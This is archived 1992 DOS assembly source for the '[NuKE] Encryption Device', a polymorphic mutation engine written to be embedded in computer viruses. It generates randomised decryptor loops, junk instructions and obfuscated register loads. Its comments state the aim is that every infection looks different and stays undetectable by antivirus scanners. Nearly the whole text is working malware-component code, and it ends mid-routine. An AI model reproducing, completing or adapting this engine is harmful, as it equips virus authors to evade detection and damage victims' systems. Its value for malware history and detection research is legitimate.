home *** CD-ROM | disk | FTP | other *** search
- ;******************************************************************************
- ; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
- ;
- ; This product is not to be distributed to ANYONE without the complete and
- ; total agreement of both the author(s) and [NuKE]. This applies to all
- ; source code, executable code, documentation, and other files included in
- ; this package.
- ;
- ; Unless otherwise specifically stated, even the mere existance of this
- ; product is not to be mentioned to or discussed in any fashion with ANYONE,
- ; except with the author(s) and/or other [NuKE] members.
- ;
- ; WARNING: This product has been marked in such a way that, if an
- ; unauthorized copy is discovered ANYWHERE, the violation can be easily
- ; traced back to its source, who will be located and punished.
- ; YOU HAVE BEEN WARNED.
- ;******************************************************************************
-
-
- ;*******************************************************************************
- ; The [NuKE] Encryption Device v0.90ß
- ;
- ; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
- ; All Rights Reserved. Unauthorized use strictly prohibited.
- ;
- ;*******************************************************************************
- ; Written by Nowhere Man
- ; October 18, 1992
- ; Version 0.90ß
- ;*******************************************************************************
- ;
- ; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
- ; engine, along the lines of Dark Avenger's now-famous MtE.
- ; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
- ; never be, either, since there is no reliable pattern between
- ; mutations, and the engine itself (and its RNG) are always
- ; kept encrypted.
- ;
- ; N.E.D. is easily be added to a virus. Every infection with
- ; that virus will henceforth be completely different from all
- ; others, and all will be unscannable, thanks to the Cryptex(C)
- ; polymorphic mutation algorithm.
- ;
- ; N.E.D. only adds about 15 or so bytes of decryption code
- ; (probably more, depending on which options are enabled), plus
- ; the 1355 byte overhead needed for the engine itself (about half
- ; the size of MtE!).
- ;*******************************************************************************
-
-
- ;*******************************************************************************
- ; Segment declarations
- ;*******************************************************************************
-
- .model tiny
- .code
-
-
- ;*******************************************************************************
- ; Equates used to save three bytes of code (was it worth it?)
- ;*******************************************************************************
-
- load_point equ si + _load_point - ned_start
- encr_instr equ si + _encr_instr - ned_start
- store_point equ si + _store_point - ned_start
-
- buf_ptr equ si + _buf_ptr - ned_start
- copy_len equ si + _copy_len - ned_start
- copy_off equ si + _copy_off - ned_start
- v_start equ si + _v_start - ned_start
- options equ si + _options - ned_start
-
- byte_word equ si + _byte_word - ned_start
- up_down equ si + _up_down - ned_start
- mem_reg equ si + _mem_reg - ned_start
- loop_reg equ si + _loop_reg - ned_start
- key_reg equ si + _key_reg - ned_start
-
- mem_otr equ si + _mem_otr - ned_start
- used_it equ si + _used_it - ned_start
- jump_here equ si + _jump_here - ned_start
- adj_here equ si + _adj_here - ned_start
-
- word_adj_table equ si + _word_adj_table - ned_start
- byte_adj_table equ si + _byte_adj_table - ned_start
-
- the_key equ si + _the_key - ned_start
-
- crypt_type equ si + _crypt_type - ned_start
- op_byte equ si + _op_byte - ned_start
- rev_op_byte equ si + _rev_op_byte - ned_start
- modr_m equ si + _modr_m - ned_start
-
- dummy_word_cmd equ si + _dummy_word_cmd - ned_start
- dummy_three_cmd equ si + _dummy_three_cmd - ned_start
-
- tmp_jmp_store equ si + _tmp_jmp_store - ned_start
- jump_table equ si + _jump_table - ned_start
-
- rand_val equ si + _rand_val - ned_start
-
-
- ;******************************************************************************
- ; Publics
- ;******************************************************************************
-
- public nuke_enc_dev
- public ned_end
-
-
-
- ;*******************************************************************************
- ; [NuKE] Encryption Device begins here....
- ;*******************************************************************************
-
- ned_begin label near ; Start of the N.E.D.'s code
-
-
- ;******************************************************************************
- ; nuke_enc_dev
- ;
- ; This procedure merely calls ned_main.
- ;
- ; Arguments: Same as ned_main; this is a shell procedure
- ;
- ; Returns: Same as ned_main; this is a shell procedure
- ;******************************************************************************
-
- nuke_enc_dev proc near
- public nuke_enc_dev ; Name in .OBJs and .LIBs
-
- push bx ;
- push cx ;
- push dx ; Preserve registers
- push si ; (except for AX, which is
- push di ; used to return something)
- push bp ;
-
- call ned_main ; Call the [NuKE] Encryption
- ; Device, in all it's splendor
-
- pop bp ;
- pop di ;
- pop si ;
- pop dx ; Restore registers
- pop cx ;
- pop bx ;
-
- ret ; Return to the main virus
-
-
- ; This the copyright message (hey, I wrote the thing, so I can waste a few
- ; bytes bragging...).
-
- copyright db 13,10
- db "[NuKE] Encryption Device v0.90ß",13,10
- db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
- nuke_enc_dev endp
-
-
- ;******************************************************************************
- ; ned_main
- ;
- ; Fills a buffer with a random decryption routine and encrypted viral code.
- ;
- ; Arguments: AX = offset of buffer to hold data
- ; BX = offset of code start
- ; CX = offset of the virus in memory (next time around!)
- ; DX = length of code to copy and encrypt
- ; SI = options:
- ; bit 0: dummy instructions
- ; bit 1: MOV variance
- ; bit 2: ADD/SUB substitution
- ; bit 3: garbage code
- ; bit 4: don't assume DS = CS
- ; bits 5-15: reserved
- ;
- ; Returns: AX = size of generated decryption routine and encrypted code
- ;******************************************************************************
-
- ned_main proc near
- mov di,si ; We'll need SI, so use DI
- not di ; Reverse all bits for TESTs
-
- call ned_start ; Ah, the old virus trick
- ned_start: pop si ; for getting our offset...
-
- mov word ptr [used_it],0 ; A truely hideous way to
- mov word ptr [used_it + 2],0; reset the register usage
- mov word ptr [used_it + 4],0; flags...
- mov byte ptr [used_it + 6],0;
-
- add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
-
- mov word ptr [buf_ptr],ax ; Save the function
- mov word ptr [copy_off],bx ; arguments in an
- mov word ptr [v_start],cx ; internal buffer
- mov word ptr [copy_len],dx ; for later use
- mov word ptr [options],di ;
-
- xchg di,ax ; Need the buffer offset in DI
-
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- mov word ptr [byte_word],ax ; Save byte/word flag
-
- mov ax,2 ; Select another random number
- call rand_num ; between 0 and 1
- xor ax,ax ; !!!!DELETE ME!!!!
- mov word ptr [up_down],ax ; Save up/down flag
-
- mov ax,4 ; Select a random number
- call rand_num ; between 0 and 3
- mov word ptr [mem_reg],ax ; Save memory register
- xchg bx,ax ; Place in BX for indexing
- shl bx,1 ; Convert to word index
- mov bx,word ptr [mem_otr + bx] ; Get register number
- inc byte ptr [used_it + bx] ; Cross off register
-
- xor cx,cx ; We need a word register
- call random_reg ; Get a random register
- inc byte ptr [used_it + bx] ; Cross it off...
- mov word ptr [loop_reg],ax ; Save loop register
-
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- or ax,ax ; Does AX = 0?
- je embedded_key ; If so, the key's embedded
- mov cx,word ptr [byte_word] ; CX holds the byte word flag
- neg cx ; By NEGating CX and adding one
- inc cx ; CX will be flip-flopped
- call random_reg ; Get a random register
- inc byte ptr [used_it + bx] ; Cross it off...
- mov word ptr [key_reg],ax ; Save key register
- jmp short create_routine ; Ok, let's get to it!
- embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
-
- create_routine: call add_nop ; Add a do-nothing instruction?
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- or ax,ax ; Does AX = 0?
- je pointer_first ; If so, load pointer then count
- call load_count ; Load start register
- call add_nop ; Add a do-nothing instruction?
- call load_pointer ; Load pointer register
- jmp short else_end1 ; Skip the ELSE part
- pointer_first: call load_pointer ; Load start register
- call add_nop ; Add a do-nothing instruction?
- call load_count ; Load count register
- else_end1: call add_nop ; Add a do-nothing instruction?
- call load_key ; Load encryption key
- call add_nop ; Add a do-nothing instruction?
- mov word ptr [jump_here],di ; Save the offset of the loop
- call add_decrypt ; Create the decryption code
- call add_nop ; Add a do-nothing instruction?
- call adjust_ptr ; Adjust the memory pointer
- call add_nop ; Add a do-nothing instruction?
- call end_loop ; End the decryption loop
- call random_fill ; Pad with random bullshit?
-
- mov ax,di ; AX points to our current place
- sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
-
- mov bx,word ptr [adj_here] ; Find where we need to adjust
- add word ptr [bx],ax ; Adjust the starting offset
-
- add ax,word ptr [copy_len] ; Add length of encrypted code
- push ax ; Save this for later
-
- mov bx,word ptr [crypt_type]; BX holds encryption type
- mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
- mov bh,0D8h ; Fix a strange problem...
- mov word ptr [encr_instr],bx; Save it into our routine
-
- mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
- cmp word ptr [byte_word],0 ; Are we doing it by bytes?
- je final_byte_k ; If so, reset LODS/STOS stuff
- mov byte ptr [load_point],0ADh ; Change it to a LODSW
- mov byte ptr [store_point],0ABh ; Change it to a STOSW
- shr cx,1 ; Do half as many repetitions
- mov bx,word ptr [the_key] ; Reload the key
- inc byte ptr [encr_instr] ; Fix up for words...
- jmp short encrypt_virus ; Let's go!
- final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
- mov byte ptr [store_point],0AAh ; Change it to a STOSW
- mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
-
- encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
-
-
- ; This portion of the code is self-modifying. It may be bad style, but
- ; it's far more efficient than writing six or so different routines...
-
- _load_point: lodsb ; Load a byte/word into AL
- _encr_instr: xor al,bl ; Encrypt the byte/word
- _store_point: stosb ; Store the byte/word at ES:[DI]
- loop _load_point ; Repeat until all bytes done
-
- ; Ok, we're through... back to normal
-
-
- pop ax ; AX holds routine length
-
- ret ; Return to caller
-
- _buf_ptr dw ? ; Pointer: storage buffer
- _copy_len dw ? ; Integer: # bytes to copy
- _copy_off dw ? ; Pointer: original code
- _v_start dw ? ; Pointer: virus start in file
- _options dw ? ; Integer: bits set options
-
- _byte_word dw ? ; Boolean: 0 = byte, 1 = word
- _up_down dw ? ; Boolean: 0 = up, 1 = down
- _mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
- _loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
- _key_reg dw ? ; Integer: -1 = internal
-
- _mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
- _used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
- _jump_here dw ? ; Pointer: Start of loop
- _adj_here dw ? ; Pointer: Where to adjust
- ned_main endp
-
-
- ;******************************************************************************
- ; load_count
- ;
- ; Adds code to load the count register, which stores the number of
- ; iterations that the decryption loop must make. if _byte_word = 0
- ; then this value is equal to the size of the code to be encrypted;
- ; if _byte_word = 1 (increment by words), it is half that length
- ; (since two bytes are decrypted at a time).
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- load_count proc near
- mov bx,word ptr [loop_reg] ; BX holds register number
- mov dx,word ptr [copy_len] ; DX holds size of virus
- mov cx,word ptr [byte_word] ; Neat trick to divide by
- shr dx,cl ; two if byte_word = 1
- mov cx,1 ; We're doing a word register
- call gen_mov ; Generate a move
- ret ; Return to caller
-
- _word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
- _byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
- load_count endp
-
-
- ;******************************************************************************
- ; load_pointer
- ;
- ; Adds code to load the pointer register, which points to the byte
- ; or word of memory that is to be encrypted. Due to the flaws of
- ; 8086 assembly language, only the SI, DI, BX, and BP registers may
- ; be used.
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;******************************************************************************
-
- load_pointer proc near
- mov bx,word ptr [mem_reg] ; BX holds register number
- shl bx,1 ; Convert to word index
- mov bx,word ptr [mem_otr + bx] ; Convert register number
- mov al,byte ptr [word_adj_table + bx] ; Table look-up
- add al,0B8h ; Create a MOV instruction
- stosb ; Store it in the code
- mov word ptr [adj_here],di ; Save our current offset
- mov ax,word ptr [v_start] ; AX points to virus (in host)
- cmp word ptr [up_down],0 ; Are we going upwards?
- je no_adjust ; If so, no ajustment needed
- add ax,word ptr [copy_len] ; Point to end of virus
- no_adjust: stosw ; Store the start offset
- ret ; Return to caller
- load_pointer endp
-
-
- ;******************************************************************************
- ; load_key
- ;
- ; Adds code to load the encryption key into a register. If _byte_word = 0
- ; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
- ; is supposed to be embedded, no code is generated at this point.
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- load_key proc near
- mov ax,0FFFFh ; Select a random number
- call rand_num ; between 0 and 65534
- inc ax ; Eliminate any null keys
- mov word ptr [the_key],ax ; Save key for later
- mov bx,word ptr [key_reg] ; DX holds the register number
- cmp bx,-1 ; Is the key embedded?
- je blow_this_proc ; If so, just leave now
- xchg dx,ax ; DX holds key
- mov cx,word ptr [byte_word] ; CX holds byte/word flag
- call gen_mov ; Load the key into the register
- blow_this_proc: ret ; Return to caller
-
- _the_key dw ? ; Integer: The encryption key
- load_key endp
-
-
- ;******************************************************************************
- ; add_decrypt
- ;
- ; Adds code to dencrypt a byte or word (pointed to by the pointer register)
- ; by either a byte or word register or a fixed byte or word.
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- add_decrypt proc near
- test word ptr [options],010000b ; Do we need a CS: override
- jne no_override ; If not, don't add it...
- mov al,02Eh ; Store a code-segment
- stosb ; override instruction (CS:)
- no_override: mov ax,3 ; Select a random number
- call rand_num ; between 0 and 2
- mov word ptr [crypt_type],ax; Save encryption type
- xchg bx,ax ; Now transfer it into BX
- mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
- cmp word ptr [key_reg],-1 ; Is the key embedded?
- je second_case ; If so, it's a different story
-
- add al,byte ptr [op_byte + bx] ; Adjust by operation type
- stosb ; Place the byte in the code
-
- mov ax,word ptr [mem_reg] ; AX holds register number
- mov cl,3 ; To get the ModR/M table
- shl ax,cl ; offset, multiply by eight
- mov bx,word ptr [key_reg] ; BX holds key register number
- cmp word ptr [byte_word],0 ; Is this a byte?
- je byte_by_reg ; If so, special case
- mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
- jmp short store_it_now ; Now save the byte
- byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
- store_it_now: xor bh,bh ; Clear out any old data
- add bx,ax ; Add the first index
- mov al,byte ptr [modr_m + bx] ; Table look-up
- stosb ; Save it into the code
- cmp word ptr [mem_reg],3 ; Are we using BP?
- jne a_d_exit1 ; If not, leave
- xor al,al ; For some dumb reason we'll
- stosb ; have to specify a 0 adjustment
- a_d_exit1: ret ; Return to caller
-
-
- second_case: add al,080h ; Create the first byte
- stosb ; and store it in the code
-
- mov al,byte ptr [op_byte + bx] ; Load up the OP byte
- mov bx,word ptr [mem_reg] ; BX holds register number
- mov cl,3 ; To get the ModR/M table
- shl bx,cl ; offset, multiply by eight
- add al,byte ptr [modr_m + bx] ; Add result of table look-up
- stosb ; Save it into the code
- cmp word ptr [mem_reg],3 ; Are we using BP?
- jne store_key ; If not, store the key
- xor al,al ; For some dumb reason we'll
- stosb ; have to specify a 0 adjustment
- store_key: cmp word ptr [byte_word],0 ; Is this a byte?
- je byte_by_byte ; If so, special case
- mov ax,word ptr [the_key] ; Load up *the key*
- stosw ; Save the whole two bytes!
- jmp short a_d_exit2 ; Let's split, man
- byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
- stosb ; Save it into the code
- a_d_exit2: ret ; Return to caller
-
- _crypt_type dw ? ; Integer: Type of encryption
- _op_byte db 030h,000h,028h ; Array: OP byte of instruction
- _rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
- _modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
- db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
- db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
- db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
- add_decrypt endp
-
-
- ;******************************************************************************
- ; adjust_ptr
- ;
- ; Adds code to adjust the memory pointer. There are two possible choices:
- ; INC/DEC and ADD/SUB (inefficient, but provides variation).
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- adjust_ptr proc near
- mov cx,word ptr [byte_word] ; CX holds byte/word flag
- inc cx ; Increment; now # INCs/DECs
- mov bx,word ptr [mem_reg] ; BX holds register number
- shl bx,1 ; Convert to word index
- mov bx,word ptr [mem_otr + bx] ; Convert register number
- mov dx,word ptr [up_down] ; DX holds up/down flag
- call gen_add_sub ; Create code to adjust pointer
- ret ; Return to caller
- adjust_ptr endp
-
-
- ;******************************************************************************
- ; end_loop
- ;
- ; Adds code to adjust the count variable, test to see if it's zero,
- ; and repeat the decryption loop if it is not. There are three possible
- ; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
- ; but provides variation), and DEC/JNE (best choice for non-CX registers).
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- end_loop proc near
- mov bx,word ptr [loop_reg] ; BX holds register number
- cmp bx,2 ; Are we using CX?
- jne dec_jne ; If not, we can't use LOOP
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- or ax,ax ; Does AX = 0?
- jne dec_jne ; If not, standard ending
- mov al,0E2h ; We'll do a LOOP instead
- stosb ; Save the OP byte
- jmp short store_jmp_loc ; Ok, now find the offset
- dec_jne: mov cx,1 ; Only adjust by one
- mov dx,1 ; We're subtracting...
- call gen_add_sub ; Create code to adjust count
- mov al,075h ; We'll do a JNE to save
- stosb ; Store a JNE OP byte
- store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
- sub ax,di ; Adjust relative jump
- dec ax ; Adjust by one (DI is off)
- stosb ; Save the jump offset
- ret ; Return to caller
- end_loop endp
-
-
- ;******************************************************************************
- ; add_nop
- ;
- ; Adds between 0 and 3 do-nothing instructions to the code, if they are
- ; allowed by the user (bit 0 set).
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- add_nop proc near
- push ax ; Save AX
- push bx ; Save BX
- push cx ; Save CX
-
- test word ptr [options],0001b; Are we allowing these?
- jne outta_here ; If not, don't add 'em
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- or ax,ax ; Does AX = 0?
- je outta_here ; If so, don't add any NOPs...
- mov ax,4 ; Select a random number
- call rand_num ; between 0 and 3
- xchg cx,ax ; CX holds repetitions
- jcxz outta_here ; CX = 0? Split...
- add_nop_loop: mov ax,4 ; Select a random number
- call rand_num ; between 0 and 3
- or ax,ax ; Does AX = 0?
- je two_byter ; If so, a two-byte instruction
- cmp ax,1 ; Does AX = 1?
- je three_byter ; If so, a three-byte instruction
- mov al,090h ; We'll do a NOP instead
- stosb ; Store it in the code
- jmp short loop_point ; Complete the loop
- two_byter: mov ax,34 ; Select a random number
- call rand_num ; between 0 and 33
- xchg bx,ax ; Place in BX for indexing
- shl bx,1 ; Convert to word index
- mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
- stosw ; Save it in the code...
- jmp short loop_point ; Complete the loop
- three_byter: mov ax,16 ; Select a random number
- call rand_num ; between 0 and 15
- mov bx,ax ; Place in BX for indexing
- shl bx,1 ; Convert to word index
- add bx,ax ; Add back value (BX = BX * 3)
- mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
- stosw ; Save it in the code...
- mov al,byte ptr [dummy_three_cmd + bx + 2]
- stosb ; Save the final byte, too
- loop_point: loop add_nop_loop ; Repeat 0-2 more times
- outta_here: pop cx ; Restore CX
- pop bx ; Restore BX
- pop ax ; Restore AX
- ret ; Return to caller
-
- _dummy_word_cmd: ; Useless instructions,
- ; two bytes each
- mov ax,ax
- mov bx,bx
- mov cx,cx
- mov dx,dx
- mov si,si
- mov di,di
- mov bp,bp
- xchg bx,bx
- xchg cx,cx
- xchg dx,dx
- xchg si,si
- xchg di,di
- xchg bp,bp
- nop
- nop
- inc ax
- dec ax
- inc bx
- dec bx
- inc cx
- dec cx
- inc dx
- dec dx
- inc si
- dec si
- inc di
- dec di
- inc bp
- dec bp
- cmc
- cmc
- jmp short $ + 2
- je $ + 2
- jne $ + 2
- jg $ + 2
- jge $ + 2
- jl $ + 2
- jle $ + 2
- jo $ + 2
- jpe $ + 2
- jpo $ + 2
- js $ + 2
- jcxz $ + 2
-
-
- _dummy_three_cmd: ; Useless instructions,
- ; three bytes each
- xor ax,0
- or ax,0
- add ax,0
- add bx,0
- add cx,0
- add dx,0
- add si,0
- add di,0
- add bp,0
- sub ax,0
- sub bx,0
- sub cx,0
- sub dx,0
- sub si,0
- sub di,0
- sub bp,0
- add_nop endp
-
-
- ;******************************************************************************
- ; gen_mov
- ;
- ; Adds code to load a register with a value. If MOV variance is enabled,
- ; inefficient, sometimes strange, methods may be used; if it is disabled,
- ; a standard MOV is used (wow). Various alternate load methods include
- ; loading a larger value then subtracting the difference, loading a
- ; smaller value the adding the difference, loading an XORd value then
- ; XORing it by a key that will correct the difference, loading an incorrect
- ; value and NEGating or NOTing it to correctness, and loading a false
- ; value then loading the correct one.
- ;
- ; Arguments: BX = register number
- ; CX = 0 for byte register, 1 for word register
- ; DX = value to store
- ; SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- gen_mov proc
- test word ptr [options],0010b; Do we allow wierd moves?
- je quick_fixup ; If so, short jump over JMP
- jmp make_mov ; If not, standard MOV
- quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
- mov bl,byte ptr [word_adj_table + bx] ; Table look-up
- jmp short get_rnd_num ; Ok, get a random number now
- byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
- get_rnd_num: mov ax,7 ; Select a random number
- call rand_num ; between 0 and 6
- shl ax,1 ; Convert AX into word index
- lea bp,word ptr [jump_table] ; BP points to jump table
- add bp,ax ; BP now points to the offset
- mov ax,word ptr [bp] ; AX holds the jump offset
- add ax,si ; Adjust by our own offset
- mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
- mov ax,0FFFFh ; Select a random number
- call rand_num ; between 0 and 65564
- xchg bp,ax ; Place random number in BP
- jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
- load_move: xchg dx,bp ; Swap DX and BP
- call make_mov ; Load BP (random) in register
- call add_nop ; Add a do-nothing instruction?
- xchg dx,bp ; DX now holds real value
- jmp short make_mov ; Load real value in reigster
- load_sub: add dx,bp ; Add random value to load value
- call make_mov ; Create a MOV instruction
- call add_nop ; Add a do-nothing instruction?
- mov ah,0E8h ; We're doing a SUB
- jmp short make_add_sub ; Create the SUB instruction
- load_add: sub dx,bp ; Sub. random from load value
- call make_mov ; Create a MOV instruction
- call add_nop ; Add a do-nothing instruction?
- mov ah,0C0h ; We're doing an ADD
- jmp short make_add_sub ; Create the ADD instruction
- load_xor: xor dx,bp ; XOR load value by random
- call make_mov ; Create a MOV instruction
- call add_nop ; Add a do-nothing instruction?
- mov ah,0F0h ; We're doing an XOR
- jmp short make_add_sub ; Create the XOR instruction
- load_not: not dx ; Two's-compliment DX
- call make_mov ; Create a MOV instruction
- call add_nop ; Add a do-nothing instruction?
- load_not2: mov al,0F6h ; We're doing a NOT/NEG
- add al,cl ; If it's a word, add one
- stosb ; Store the byte
- mov al,0D0h ; Initialize the ModR/M byte
- add al,bl ; Add back the register info
- stosb ; Store the byte
- ret ; Return to caller
- load_neg: neg dx ; One's-compliment DX
- call make_mov ; Create a MOV instruction
- add bl,08h ; Change the NOT into a NEG
- jmp short load_not2 ; Reuse the above code
-
- make_mov: mov al,0B0h ; Assume it's a byte for now
- add al,bl ; Adjust by register ModR/M
- jcxz store_mov ; If we're doing a byte, go on
- add al,008h ; Otherwise, adjust for word
- store_mov: stosb ; Store the OP byte
- mov ax,dx ; AX holds the load value
- put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
- stosw ; Otherwise store a whole word
- ret ; Return to caller
- store_byte: stosb ; Store the byte in the code
- ret ; Return to caller
-
- make_add_sub: mov al,080h ; Create the OP byte
- add al,cl ; If it's a word, add one
- stosb ; Store the byte
- mov al,ah ; AL now holds ModR/M byte
- add al,bl ; Add back the register ModR/M
- stosb ; Store the byte in the code
- xchg bp,ax ; AX holds the ADD/SUB value
- jmp short put_byte_or_wd ; Reuse the above code
-
- _tmp_jmp_store dw ? ; Pointer: temp. storage
- _jump_table dw load_sub - ned_start, load_add - ned_start
- dw load_xor - ned_start, load_not - ned_start
- dw load_neg - ned_start, load_move - ned_start
- dw make_mov - ned_start
- gen_mov endp
-
-
- ;******************************************************************************
- ; gen_add_sub
- ;
- ; Adds code to adjust a register either up or down. A random combination
- ; of ADD/SUBs and INC/DECs is used to increase code variability. Note
- ; that this procedure will only work on *word* registers; attempts to
- ; use this procedure for byte registers (AH, AL, etc.) may result in
- ; invalid code being generated.
- ;
- ; Arguments: BX = ModR/M table offset for register
- ; CX = Number to be added/subtracted from the register
- ; DX = 0 for addition, 1 for subtraction
- ; SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- gen_add_sub proc near
- jcxz exit_g_a_s ; Exit if there's no adjustment
- add_sub_loop: call add_nop ; Add a do-nothing instruction?
- cmp cx,3 ; Have to adjust > 3 bytes?
- ja use_add_sub ; If so, no way we use INC/DEC!
- test word ptr [options],0100b; Are ADD/SUBs allowed?
- jne use_inc_dec ; If not, only use INC/DECs
- mov ax,3 ; Select a random number
- call rand_num ; between 0 and 2
- or ax,ax ; Does AX = 0?
- je use_add_sub ; If so, use ADD or SUB
- use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
- add al,040h ; It's an INC...
- or dx,dx ; Are we adding?
- je store_it0 ; If so, store it
- add al,08h ; Otherwise create a DEC
- store_it0: stosb ; Store the byte
- dec cx ; Subtract one fromt total count
- jmp short cxz_check ; Finish off the loop
- use_add_sub: mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- shl ax,1 ; Now it's either 0 or 2
- mov bp,ax ; Save the value for later
- add al,081h ; We're going to be stupid
- stosb ; and use an ADD or SUB instead
- mov al,byte ptr [word_adj_table + bx] ; Table look-up
- add al,0C0h ; It's an ADD...
- or dx,dx ; Are we adding?
- je store_it1 ; If so, store it
- add al,028h ; Otherwise create a SUB
- store_it1: stosb ; Store the byte
- mov ax,cx ; Select a random number
- call rand_num ; between 0 and (CX - 1)
- inc ax ; Ok, add back one
- or bp,bp ; Does BP = 0?
- je long_form ; If so, it's the long way
- stosb ; Store the byte
- jmp short sub_from_cx ; Adjust the count now...
- long_form: stosw ; Store the whole word
- sub_from_cx: sub cx,ax ; Adjust total count by AX
- cxz_check: or cx,cx ; Are we done yet?
- jne add_sub_loop ; If not, repeat until we are
- exit_g_a_s: ret ; Return to caller
- gen_add_sub endp
-
-
- ;******************************************************************************
- ; random_fill
- ;
- ; Pads out the decryption with random garbage; this is only enabled if
- ; bit 3 of the options byte is set.
- ;
- ; Arguments: SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: None
- ;******************************************************************************
-
- random_fill proc near
- test word ptr [options],01000b ; Are we allowing this?
- jne exit_r_f ; If not, don't add garbage
- mov ax,2 ; Select a random number
- call rand_num ; between 0 and 1
- xchg cx,ax ; Wow! A shortcut to save
- jcxz exit_r_f ; a byte! If AX = 0, exit
- mov ax,101 ; Select a random number
- call rand_num ; between 0 and 100
- xchg cx,ax ; Transfer to CX for LOOP
- jcxz exit_r_f ; If CX = 0 then exit now...
- mov al,0EBh ; We'll be doing a short
- stosb ; jump over the code...
- mov ax,cx ; Let's get that value back
- stosb ; We'll skip that many bytes
- garbage_loop: mov ax,0FFFFh ; Select a random number
- call rand_num ; between 0 and 65534
- stosb ; Store a random byte
- loop garbage_loop ; while (--_CX == 0);
- exit_r_f: ret ; Return to caller
- random_fill endp
-
-
- ;******************************************************************************
- ; random_reg
- ;
- ; Returns the number of a random register. If CX = 1, a byte register is
- ; used; if CX = 0, a word register is selected.
- ;
- ; Arguments: CX = 0 for word, 1 for byte
- ; SI = offset of ned_start
- ; DI = offset of storage buffer
- ;
- ; Returns: AX = register number
- ; BX = register's offset in cross-off table (used_it)
- ;******************************************************************************
-
- random_reg proc near
- get_rand_reg: mov ax,cx ; Select a random number
- add ax,7 ; between 0 and 6 for words
- call rand_num ; or 0 and 7 for bytes
- mov bx,ax ; Place in BX for indexing
- shr bx,cl ; Divide by two for bytes only
- cmp byte ptr [used_it + bx],0 ; Register conflict?
- jne get_rand_reg ; If so, try again
- ret ; Return to caller
- random_reg endp
-
-
- ;******************************************************************************
- ; rand_num
- ;
- ; Random number generation procedure for the N.E.D. This procedure can
- ; be safely changed without affecting the rest of the module, with the
- ; following restrictions: all registers that are changed must be preserved
- ; (except, of course, AX), and AX must return a random number between
- ; 0 and (BX - 1). This routine was kept internal to avoid the mistake
- ; that MtE made, that is using a separate .OBJ file for the RNG. (When
- ; a separate file is used, the RNG's location isn't neccessarily known,
- ; and therefore the engine can't encrypt it. McAfee, etc. scan for
- ; the random-number generator.)
- ;
- ; Arguments: BX = maximum random number + 1
- ;
- ; Returns: AX = psuedo-random number between 0 and (BX - 1)
- ;******************************************************************************
-
- rand_num proc near
- push dx ; Save DX
- push cx ; Save CX
-
- push ax ; Save AX
-
- rol word ptr [rand_val],1 ; Adjust seed for "randomness"
- add word ptr [rand_val],0754Eh ; Adjust it again
-
- xor ah,ah ; BIOS get timer function
- int 01Ah
-
- xor word ptr [rand_val],dx ; XOR seed by BIOS timer
- xor dx,dx ; Clear DX for division...
-
- mov ax,word ptr [rand_val] ; Return number in AX
- pop cx ; CX holds max value
- div cx ; DX = AX % max_val
